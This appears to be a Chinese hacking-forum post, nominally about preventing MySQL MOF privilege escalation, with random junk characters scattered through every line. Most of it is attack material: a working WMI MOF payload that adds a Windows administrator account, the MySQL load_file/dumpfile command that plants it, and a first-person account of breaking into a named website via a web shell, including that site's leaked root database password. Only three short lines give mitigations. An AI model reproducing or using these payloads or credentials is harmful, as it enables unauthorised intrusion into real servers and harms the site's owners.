Mysql mof扩展漏洞防范方法
5 M7 W: J+ @+ X+ N0 L$ \4 A0 }4 H% R1 c, ^
网上公开的一些利用代码:' ]; z0 z- ]! |: V3 [8 @8 ^% ^. _
8 u A' `' J) E' i4 K#pragma namespace(“\\\\.\\root\\subscription”); z* U) L: q; G: N' u- `" n
; G9 S! J* {. W( y7 F) _3 m; o
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
' ^' x% m+ A4 P" \8 y: x" t" j, z) D
# y6 f6 r; c$ [. z5 y
" \9 b4 I/ F* U) z% @: C7 [8 p, ]5 |
# T! F' \; ?# i8 n/ i0 p+ o9 A/ z6 \4 ~9 I6 [# B7 e$ j
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
: W1 G4 P) \! x' z4 k6 w从上面代码来看得出解决办法:7 [" p0 C8 G @" b
( v! z3 C. u) A1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数, d+ S7 r' J2 Z# z/ ? [5 N
( ?( y1 h5 R+ R
2、禁止使用”WScript.Shel”组件
3 S. s6 U( m& [; _! }
; E- N7 o; t: ]0 v3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
H# o! @# T9 M5 T; h* e/ q% }, g% |8 l+ I$ l/ \
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下8 F; F$ ]6 n( Q7 y# Y
/ i& l- }8 m2 K% C+ j. s
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权$ q: a4 {( X! x9 \
/ F- v* b( v& c) [7 U
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容2 b* g) @. e/ b* w4 j" H# {
4 \6 n; S- S8 M9 \) S8 Y
看懂了后就开始练手吧& Z. A0 e1 W2 M) W) v* P
. i. F, F3 W z! ], Z
http://www.webbmw.com/config/config_ucenter.php 一句话 a
8 Q* j" m% L& D- | h2 h. F; Z/ ^( |0 T1 e( i1 q/ i' v
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
$ [- Y6 i& ]9 C; b P Z
* F& f) a2 F! x' @! f7 u9 x于是直接用菜刀开搞- q- m' N8 b6 `8 T3 {2 d, ]
/ ?2 q3 s9 y# |5 H上马先
* m, O) f; d! Y3 o+ l
* q5 V8 Q4 T$ a4 Y' g) M1 F8 \既然有了那些账号 之类的 于是我们就执行吧…….
. n. L' X* q. A; W) H8 @; p
/ l4 L/ f7 H: K/ |6 c' y% Y小小的说下0 C5 |) e+ b6 D( D6 y
* |1 r9 W! w4 }. Y. L# O( F# W" M
在这里第1次执行未成功 原因未知
& ?) Y+ P9 g& I1 i; v: M I
2 D9 }' y* T& k2 H我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
; G- ]$ I z0 a! N5 A9 q% Z( f7 N: d" W9 w) [/ {: L2 z: W/ w
#pragma namespace(“\\\\.\\root\\subscription”). W( p' j6 }* X6 R4 J
# q/ i; F5 D6 d+ N1 ^
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };( M4 M/ F' v7 r8 d6 W/ @% G
1 Z- w O4 f: V$ J! s
我是将文件放到C:\WINDOWS\temp\1.mof! J2 f( w7 e+ {% N
2 ~8 C! Z5 p1 g& H所以我们就改下执行的代码
a& ~( l4 _! i( \& h/ ^" X" X
! ]7 T- I) x0 `* K: w, Y3 A: Sselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;8 X2 x/ {. u3 V' ], }! h
4 ^* m2 ~9 r$ b0 s$ u
4 N* t: O7 k! b D% v* h* F/ u0 @3 C9 M. H
但是 你会发现账号还是没有躺在那里。。
1 _- M- U/ z& T7 @
$ R; X; }. ?. y. ]/ t4 ?6 x于是我就感觉蛋疼
. p5 G9 z6 f$ o" s3 X# s) H1 q" u; ? [2 M+ X8 [& r& R* m
就去一个一个去执行 但是执行到第2个 mysql时就成功了………8 d1 q7 ?" Z5 y! g1 Y* d
: r) R5 M+ ~5 q6 R
( j( q! d" P/ D5 i8 R. N% _
! s0 b+ E' ], k4 O但是其他库均不成功…/ O- q. N+ g; }9 z- B) T) `0 ]
1 T7 {8 G& j0 V* @# v
我就很费解呀 到底为什么不成功求大牛解答…' [8 U0 F- t/ o
! j. |8 ?5 d6 y$ W# F# E
9 e1 g! h" C7 a5 \! @6 l# E, s) u2 ~+ S/ I
|